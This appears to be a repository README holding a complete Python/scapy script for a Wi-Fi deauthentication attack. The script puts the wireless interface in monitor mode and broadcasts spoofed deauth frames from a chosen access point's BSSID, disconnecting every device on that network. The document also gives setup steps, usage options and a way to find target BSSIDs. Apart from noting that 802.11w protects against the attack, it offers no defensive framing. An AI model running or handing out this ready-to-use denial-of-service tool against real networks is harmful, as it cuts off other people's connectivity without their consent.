Deauth attack

Deauthenticate all devices from a wireless network exploiting the deauthentication frame in the IEEE 802.11 standard except the 802.11w that offers additional protection for the management frame. Basically, this script send a deauthentication frame to the wireless access point to the broadcast MAC address, leading to a denial of service causing a temporarily disconnection of all devices. If you want to see in detail how a deauth frame is structured i suggest this read. Requirements Beside a working wireless NIC you also need the following packages on your linux-based distribution to run the script: [1] net-tools and wireless-tools (wireless_tools for arch-based distros) [2] python3 and python-scapy Get the BSSID Run the iw dev wlan0 scan command and grab the respective MAC address of the chosen wireless network. To view avaible wireless interfaces, just run iwconfig Usage You need to run this program with privileges. Use sudo. usage: deauth.py [-h] [-s [SECONDS]] [-i [INTERFACE]] BSSID Deauthenticate temporarily all devices connected to a WI-FI network (IEEE 802.11w) positional arguments: BSSID MAC address of the wireless access point options: -h, --help show this help message and exit -s [SECONDS], --seconds [SECONDS] disconnection time in seconds from the network. (default: 10) -i [INTERFACE], --interface [INTERFACE] Wireless interface. (default: wlan0)
Code taken from my shitty repository
from scapy.all import *
import argparse, os

parser = argparse.ArgumentParser(description="Deauthenticate temporarily all devices connected to a WI-FI network (IEEE 802.11w)")
parser.add_argument("BSSID", help="MAC address of the wireless access point",type=str)
parser.add_argument("-s","--seconds", help="disconnection time in seconds from the network. (default: 10)", nargs="?", const=10, default=10, type=int)
parser.add_argument("-i","--interface", help="Wireless interface. (default: wlan0)", nargs="?", const="wlan0", default="wlan0", type=str)
args = parser.parse_args()

MAC_BROADCAST:str = "ff:ff:ff:ff:ff:ff"

def switch_interface(mon=True)->None:
    os.system(f"ifconfig {args.interface} down")
    os.system(f"iwconfig {args.interface} mode {'monitor'if mon else'managed'}")
    os.system(f"ifconfig {args.interface} up")

try:
    switch_interface()
    deauth = Dot11(addr1=MAC_BROADCAST,addr2=args.BSSID,addr3=args.BSSID)
    pkt = RadioTap()/deauth/Dot11Deauth(reason=7)
    sendp(pkt, inter=0.1, count=args.seconds*10, iface=args.interface, verbose=1)
    switch_interface(False)
except Exception as e:
    print(f"Error: {e}")